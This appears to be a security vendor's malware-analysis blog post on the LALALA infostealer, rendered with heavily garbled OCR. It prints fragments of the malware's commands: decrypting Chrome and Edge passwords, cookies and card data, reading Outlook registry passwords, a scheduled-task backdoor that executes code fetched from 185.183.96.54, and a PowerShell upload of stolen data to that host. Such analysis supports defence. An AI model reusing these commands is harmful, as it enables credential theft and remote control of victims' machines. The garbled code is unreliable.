LALALA InfoStealer which comes with Batch and
PowerShell scripting combo
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Malware authors are using simple but very effective approaches to stay low and steal user’s
data. SonicWall RTDMI ™ engine has recently detected Windows shortcut file (LNK) inside
an ISO image which downloads and executes LALALA infostealer to the victim’s machine.
LALALA infostealer is a batch script, which takes help of PowerShell to steal and send
victim’s data to the server:
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ipeg
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@ rar.exe: compresses stolen data
& sqlite3.exe: executes queries to retrieve data from SQLite database files
@ lebenslauf_2019_11_20.jpeg: image file

The LNK file copies itself to “% TEMP%\ htn90.bat” and executes the batch script file. The
malware is intended to run only once on the victim’s machine. The batch script checks
presence of “% TEMP%\htn.txt” file, if already present then the batch script terminates and
deletes itself. The batch script writes “htn” into “% TEMP%\htn.txt”. The batch script
downloads an archive file “% TEMP%\htn.rar” and a WinRAR (compression tool) executable
file “%TEMP%\rar.exe” from Unified Resource Locator (URL) h[t]
[tlp://185.183.96.54/[filename].

The batch script extracts LALALA infostealer “htn.bat”, an image file
‘lebenslauf_2019_11_20.jpeg” and an executable “sqlite3.exe” from “% TEMP%\htn.rar”
using WinRAR executable:
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@ECHO OFF

bat"&& del /f /q "¥%tempX%\htn9@.b

' _QutFile "
-OutFile ™

yenslauf_2019
nell -P
echo hjhjgj >"

The batch script displays “lebenslauf 2019 _11_20.jpeg” image to the user which contains
“‘ERROR 0x89976 IMAGE BROKEN” message, to make him feel that the LNK file has some
issues. The batch script then executes LALALA infostealer “% TEMP%\htn.bat”.
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LALALA InfoStealer:

The malware creates directory “% TEMP%\jjghgjhfyt6” to store the stolen data. The
malware uses PowerShell command to collect and save installed programs information
into “% TEMP%\jjghgjhfyt6\proglist.txt”:

\33ghginfyce”
et-TtemProperty HKLM:\Software\Wow§432Node\Microsoft\Windows\CurrentVersion\Un: ect-Object DisplaylName, DisplayVersion, Publisner, InstallDate
et-ItemPro; percy HRLM:\Software \Windows . nstallys | Sel Sect DisplayName, DisplayVersion, Publisher, InstallDate | Format-Tal

12e >
>> "itemps\jjghgInfyré\proglist.

le -Rutos: "stenp*\)jghg)nfyce\proglist. txe"
ist.oxem

20190482

2.6

78.6.3904.108 20191211
20190482

2.8.50727

€6.0.2

68.3.0

683,08

13.0.4763 . 1000
2.39.0.124

20190402

BACKDOOR ACTIVITY:

The malware opens a backdoor to the malware author by scheduling a task which executes
the VBScript “% TEMP%\[random].vbs” every minute. The VBScript takes web request
result from “185.183.96.54/gate990.php” as an argument and it contains the code to
execute the argument:

DEFGHTJKLMNOPQRSTUVWQYZ

nr Ag WScript.Arguments(0) “& "7, 0, False >"itemp®\*PW:.vba"
11 irstga990.php -method post -body 'SEWE'"
/create /tn "#PWE" /tr "wscript '“temp#\%PW%.wbs' 'powershell Invoke-Expressi
FLeNp®\JJONGINLYLENEEmE™ |

Schedules a task to run every minute

on -Command: (iwr —uri 185.183.86.54/gateS30.php —method post -body '%PW:') .content'" /sc MINUIE |

MName Status  Triggers Mext Run Time Last Run Time Last Run Result Author  Created
[Elloglqwd Ready At11:46 AM on12/12/2019 - After triggered, repeat every 00:01:00 indefinitely. 12/12/2019 3:34:00 PM  12/12/2019 3:33:00 PM  Aniinstance of thist.. Deepak 12/12/2019 11:46:35 AM

Task Sc... = *

| Microsoft
_| OfficeSoftwareProtect|
~| WPD

Actions

% Cr.

DATA EX-FILTRATION:

The malware usually process the data on victim’s machine to extract very precise
information which is sent to the malware server. But LALALA sends good amount of data to
the server which needs further processing at server’s end to extract the operative data. The
malware decrypts some application’s data (eg. Google Chrome and Microsoft Edge) on
victim’s machine which uses Windows logon based encryption because that data can not
be decrypted on the other machine.

The malware steals login information from listed applications:

e Google Chrome

e Mozilla Firefox

» Microsoft Edge

e Mozilla Thunderbird
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¢ Microsoft Outlook

The malware copies Chrome data files “cookies”,

“Login Data” and “Web Data” from

“%LOCALAPPDATA%\Google\Chrome\User Data\Default” to “% TEMP%\jjghgjhfyt6\”. The
malware decrypts and saves card details, cookies and passwords

into “% TEMP%\jjghgjhfyt6\™

Serprofiles\AppData\Local\Google\Chrome\User Data\Defaulticookies® "ot

opy /Y
opy /Y

De\J]ghgINIYLENCOOKi123456"
enp®\33ghgihfvt6\pass123456™

copies login data files into

opy /¥ #\33ghginLyt6\card123456" malware direcrtory
upil\sglited.exe Mitempd\\3ighgihfycé\\cookil23456" "select writefile('itemp?/1io75k/'||hcsc key||'.'||nane||'.zok3', encrypted value) from cookies™
mpt\sqlite3.exe "tempi\\3IghgIhfyt6\\pass123456" "select writefile ( 075/ ' ]2d]|'.zok4!, password value) from logins®
npeisqlited.exe "Etenpt\\3IgngINEVEE\\card123456" "select writefile ('ttempt/11075k/'|lguid||'.z0k2', card number_encrypted) from credit_cards"

decrypts and saves card details

For /R " o \llu'lSk" * In (*.zok2) Do (
If Exist "%
}:c‘uersﬂell "Add-Type —AssemblyNeme System.Security; [System.Text.Encoding]::Default.GetString([Systen.Security.Cryptography.ProtectedData]: :Unprotect {[System.I0.File]::ReadAllBytes (*%%i'),Snull,
[Systen. Security. Cryptography. DataProtectionScope] : :Currentlser) ) ">> "3 temps\jjghgihfyt6\card sunpos”
>> "stempt\jighgihfyré\card unpci”
]
) decrypts and saves cookies
For /X T 11n7 T TTT In (7.zok3) Do [
If Exist i t
powersnell "Add-Type -AssemblyName System.Security; [System.Text.Encoding]::Default.GetString([System.Security.Cryptography.ProtectedData): :Unprotect ([System.I0.File]::ReadAllBytes (" '),S$null,
[Sysven. Security.Cryptography . DataProtectionScope] | :Currentlser) ) ">> mitempt\jjghgihfyré\cooki funpci"
2i>> "itempi\jjghginfyré\cooki &
)
) ) decrypts and saves login passwords
For /R "#temp*\iio75k" %%i In (*.zok4) Do |
If Exist (
pr:'uersﬁell "add-Type -AssemblylName System.S3ecurity;[System.Text.Encoding]::Defaulc.GetString([System.Security.Cryptography.Protectedbata]: Unprotect ([System.T0.File]::ReadAllBytes (' '), $null,
[System.Security.Cryptography.DataProtectionScope] : :CurrentlUser) ) ">> "% teup?\jjghgihfyré\pass_tunpci”
echo 3%i>> "itempt\3ighgihfyt6\pass_sunpcs”
7
- N =
! | B3 | 3 cord_131901652020166 - Notepad =B8] %
= e Edt Fornat View Hel
|« T » jighgihfyts » Chi Dat: + | %3 | [ Search Chrome_Dat: | P
G O=[J < Temp » ighahiys » CrvomeDet [ (s 2 decrypled card number n
e S S S =- o @ T\Users| Deepak AppDataiLocal\Temp\, 11075k 94 dde02e-206a-476f -aec0-3a7 3bb86bes7 . zok2 i
5
e Fmy Name Date modified Type Size = —
B | [ card 131901652020166 12/12/2019735 AM  File 1KB 5 pass_131901652030166 - Notepad
8¢ | [ cardi2ase 12/11/2019 File 68KB format View Help
%R | L cooki 131901652030166 12/12/2019 File 20k8 L . pak\Appmm\w(a] \remp\ 11073k 20ks f
| cookil23456 12/11/20199:50 PM ~ File 192 KB pted pa.
EEERA . = pak\AppData\Lo:a]\Temp\no?ik\z zok4
ol b | L pesisioossmmes 12/12/20197:36 AM  File 1B B
Ec | [ passizzase 12/11/2019%:49 PM  File 28K8 TOSErS\Deepaki\AppoatatLocal\Temphiio7 5k\3. zok4
s
SP Google chrome data files 3 ]
) -
o Hv || 7] cooki_131901652030166 - Notepad =8 =
- File Edit _Format _View Hel
¥ co C: \UserS\DEEpak\AppDa‘ta\ana'\\TEmp\11D?Sk\ facebook. com. datr. zok3 =~
1GNpHSWVINTWEQF 3. - . BdBQPZ . AWXAYYWM
i [ c: \Users\DEEpak\AppData\Ln(a"\ \TEmp\ﬂD?SkE Facebook. com. fr. zok3 decrypted cookies
W Ne en_GB
c:Tusers'\peepak\apppata'\Local\Temp\i1075k\. Facebook. com. Tocale. zok3 a
“NDTEMP%\jjghgjhfyt6”.
° oYyghgjniyto -
For /R "suserprofiles\AppData\Roaming\Mozilla\Firefox\Profiles" 54i In (key3.db key4.db certd.db cookies.sglite formhistory.sqlite logins.json places.sglite) Do |
If Exist {
copy /Y i" "Htempt\jjghgihEfytE\ -t )
T
)
fFor /R "suserpro F\AppData\Roaming\Thunderbird\" %1 In (key3.db key4.db logins.json abook.mab) Do |
If Exist "#3in : : .
a;:y ; .t,, Wit enpi\SighginEye 6\ cher. Saves Mozilla Firefox's
R user data files
Saves Thunderbird's
user data files
[=E] = | (o3 =
p—— 7 ~
& [ <\Tenf3 v jighgihfyt6 » Thunderbird ~T4 [ 2| @\J |« Temp v Jjghg‘hf#lﬁ v FircFox_Date 2|
Organize nclude in library + Share with + Burn New folder - [l @ Organize Include in libra Share with * Burn New folder - 0 @
St Fan _Name ! Date modified Type Size Jr Fau (Dame Y Date modified Type Size
B C | | ] tber-abook.mab 12/11/20199:04 PM  MAB File 2KB BC| & cetddb 12/11/2019 8:! M Data Base File 224 KB
= | e - 5 : §
B C | [ ther-keyd.db 12/11/20199:09 PM  Data Base File 288 KB ncil & C | | | cookiessqglite 12/11/2019 8:59 PM  SQLITE File 512 KB
&R |_| tber-logins json 12/11/20199:09 PM  JSON File 2KB HrR | formhistory.sqlite 12/11/2019 M SQLITE File 192 KB
keyd.db 12/11/2019 M Data Base File 288 KB
& Lib = Lib | | ] loginsjson 12/11/2019 8:57 PM  JSON File 2KB
Bc F | [ placessglite 12/11/2019 8550 PM  SQLITE File 5120K8
& )Y

The malware terminates “taskhost” and “dllhost” processes, then it decrypts and saves login
passwords from Microsoft Edge into “% TEMP%)\jjghgjhfyt6\edg_[randome]”:
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[taskkill /F fim Taskho*
[caskkill /F /im dllhos*

copy /Y "%userprofil

=+\AppData\Local\Microsoft\Windows\WebCache\WebCacheV0l.dat"

terminates taskhost and dllhost executables

ttenpt\jjghgihfyr6\WebCacheV0l.dat"”

owWwershell

"[void] [Windows.Security.Credentials.PasswordVault, Windows.5ecurity.Credentials, ContentTvpe=WindowsRuntime] ; $vault =
indows.Security.Credentials.PasswordVault;$vault.RetrieveAll () | foreach-ocbject{ $_.RetrievePassword():$ " >>"%temp?

jjghgjhfytéiedg

New-Cbhbject

npck ™|

Decrypts and saves Microsoft
Edge login passwords

:EIQ

@uv| Lo jjg\gﬂlmﬁ » Microsoft_Edge_Data

- ‘Jv,. | | Search

£ F

rosoft Edge Data

2|

Organize = Incl in library = Share with = Burn Mew folder
X Far MName Date modified Type
HEcC 12/12/2019 7:36 AM  File

0 @

Size

2KB

The malware decrypts and saves Outlook data into % TEMP%)\jjghgjhfyt6\outloo_[random]:

[echo "imap pass®>>"itenpe\;jgngIintyte\outioo_tunpoe”
owersnell "AdQ-Type -RssemblyName System.Securit 1 =+ s1lent: *;Get-ChildItem 'HKCU:\Software\Microsoft\Windows NI\CurrentVersion\Windows Messaging Subsystem\' -Recurse | foreach
« $_.pspath).'imap Password'|select —skip 1),$mull,
£loo tumposm
sqet-ChildItem 'HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\® -Recurse | foreach
X ::Defaulc.GerString([System. Security. . $_.pspath) .'BOP3 Password®|select -skip 1),$null,
[System. Secuzity . enScope: 3 IM=505 temp®\ 3 3 ghad ouf1da_sunposm
echo "smtp pass">>"itempi\3Ighginfyté\outlan_tunpok”
Dowersnell "Add-Type -AssemblyName System.Security; lent: det-Chilalten 'HRGU:\Software\Microsoft\Windows NT\GurrentVersion\Windows Messaging Subsystem\® -Recurse | foreach
{[System.Text.Encoding] : :Default.GerString ([System. Security. . _.pspatn) . smtp Password'|select -skip 1),$nall,
I 2Tv.C rmeaniionneas ado_sunpcan
cho "smcp">>"%tenp\JIghgIhfyce\outloo_sanpos”
owersnell on! -~ s112ntl *;Get-ChildItem 'HKCU:\Software\Microsofc\Windows NT\CurrencVersion\Windows Messaging Subsystem\' -Recurse | foreach {(get-itempropercy $_.pspath).'SMIP server®}">>"stemp
iighgihfyeé\outloo Sunpcin —
&cho "pop">>"%teupt\33gngINEYEE\oUtLoo_sanpot "
powersnell 10nF; = s1encl: *;Get-ChildTtem 'HKCU:\Software\Microsoft\Windows NT\Currentiersion\Windows Messaging Subsystem\' -Recurse | foreach {(geC-iCEmproperty $_.pspath).’'BOB3 server’}">>"stemps
\33ghgInLyre\outloo_sanpes”
echo "pop lag ">> 33ghgihEyté\outloo_tunpcin
poversnell lenel: inue’:Get-ChildTtem 'HKCU: NT\C Wind ' -Recurse | foreach {(get-itemproperty §_.pspath).'POP3 User'}m»>nstempi
\33ghgInfyté\outloo_sanpcs”
echo "smcp log">>"itempt\)jghgihLyt6\outlon_tunpci”
povershell i ilencl inue';Get-ChildTtem 'HECU: ez Nt Wind ! -Recurse | foreach {(get-itemproperty §_.pspath).'SMTP Usexr'}M»»"stempi
\3jghginfyté\outloo Sunpcst i
cho "email®>>"sLcnpe\JIgRgIAIYCENOUTI00_sunpes
owersnell silencl. inue’;Get-ChildTtem -m(m:\sufcwaxa\nlcxu=‘7f:\|’1nanws ur Wind ' -Recurse | foreach {(get-itemproperty §_.pspath).’email’}">>"itemp®
Jighgihfyté\outloo Sunpci®
L|

[ESi=zeieit T3t C(owms winoz_compucersyscem partordomain —cq Scrue)

Tzite nost _fore greey 'I]am domain Joined! (]

1se { write-nost —fore red

*Ocops,

workgroup! '} ">> "sijen

©\33gnginfyT6\proglist. oat”

==

1]

[=®

B3

SMTP server

1150 109 0 116 0 112 0 46 0 103 0 109 0 97 0 105 0 108 0 46 0 99 0 111 0 109 0 0 0_|

Saves domain information T
(=@ 8 )3 outicot ho3ol6s - Notepad
@ O ~[F < Gsngh.. » oulookDms + [ [ Search QutLook_Data P || [Ele_EdtFormat} Vifw Help
“email pass
imap pass
e e ) pop pass
= "smEp pass”
Yt Name Date modified Type Size “smep”
B | [ outloo 131901652030166 12/12/201911:18 .. File 1KB M
B “email”
gy Outlockdata "email pass”  |Password
Malware007]
pop_pass
GLb “Emep pass”
B TR
2 T e
=P OoR 109
5y "smtp_log

Email address

09 0 67 0 108 0 119 0 97 0 114 0 101 0 46 0 116 0 101 0 115 0 116 0 48 0 48 0 55 0 64 0 103 0 109 0 97 0 105 0 108 0 46 0 99 0 111 0 109 0 0 O

NETWORK:

The malware compresses stolen data using WinRAR executable into “% TEMP %\
[random].rar” and sends the compressed file to “185.183.96.54/zit.php”. The malware
deletes the stolen data files and malware component files except “% TEMP%\htn.txt”.

[ [ESEN)
Fiel\p'—,\rar.exs a "ktempd\Funpok" "itempi\jjghgihfyc6\" i compresses stolen files — —
p v jighgjhfys |4+ ][ search jighginits 2|
Sends stolen data to remote server =
[powersnell "wget -Uri 185.183.96.54/zit.php -Method Post -infile ""Senv:temp\tunpct.rar"n" | Organize v Include in library ~ Share with + Burn  » ~ 0 @
NI Jr Fa Name : Date modified Type Size 2
2 /3 79 “EEempA\IIghajhrynel= BT[] cerd 131901652030166 121272019735 AM_File 1k8]
@\/'l di « Local » Temp ¢ = [4] [ search Temp 2] BC [ cara123156 12/11/2019947PM_ File 68 KB
B e e S ) ER |3 cetodb 12/11/20198:57 PM  Data Base File 224K8B
e ] cooki_131901652030166 12/12/20197:36 AM  File 20KB
! Date modified Type size G lb | ] cookil23456 12/11/20199:50PM  File 192KB
Deletes malware component | J\ vmware-Deepak 4/2/20199:30 AM File folder Bt [ cookiessqite 12/11/2019 8:59 PM  SQLITE File 512KB |2
and stolen data files ) B Low 12/12/20193:46 PM  File folder @ b ] edg_131901652030166 12/12/20197:36 AM  File 2KB
% | fighgjhfyts 12/12/20197:17 PV File folder [EIP [ ] formhistory.sqlite 12/11/20198:57 PM  SQLITE File 192 KB
|] FXsAPIDebuglogFilett  4/2/20199:07 AM  Text Document 0kB By [k 12/11/20198:57 PM  Data Base File 288 KB
= =] lebenslauf 2019 11 20jpeg  6/5/20191137 AM  JPEG image E L1 loginsjson 12/11/20198:57PM  JSON File 2KB

E htnd0.bat Windows Batch File 4KB ™ co [ LwGdMNG2 12/12/20197:35AM  File 1kB

d L] ntnrar 12/11/20191213..  RARFile 481 KB | outloo_131901652030166 12/12/201911:8 ... File 1K8B

[= | htnt 12/12/2019 257 PM Text Document 1k8B € Ne | ] pass 131901652030166 12/12/20197:36 AM  File 1K8B

E | 131901652030166.rar 12/12/20197:13PM  RAR File 93K8 ] pass123456 12/11/2019949PM  File 28K8

L] places.sqlite 12/11/20198:59 PM  SQLITE File 5120K8
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The file is detected by only a few security vendors on popular threat intelligence sharing
portal VirusTotal at the time of writing this blog indicates its spreading potential:

C @& virustotal.com/gui/fil¢

Z 2062843357 122 TE313ca0d 8084 8023063a37d 41 58 e 10fd080497 BdcSchaf

b
4 (1) 4 enginas detected this flla
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Evidence of the detection by RTDMI ™ engine can be seen below in the Capture ATP

report for this file:
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SONICWALL' | capture ATP Report

Dec 06, 5:19pm

downloaded a malicious file. The endpoint may need to be cleaned.

Source Destination
I > o

A 56kb
#1S0 9660 CD-ROM
filesystem data
'20191205_1059'
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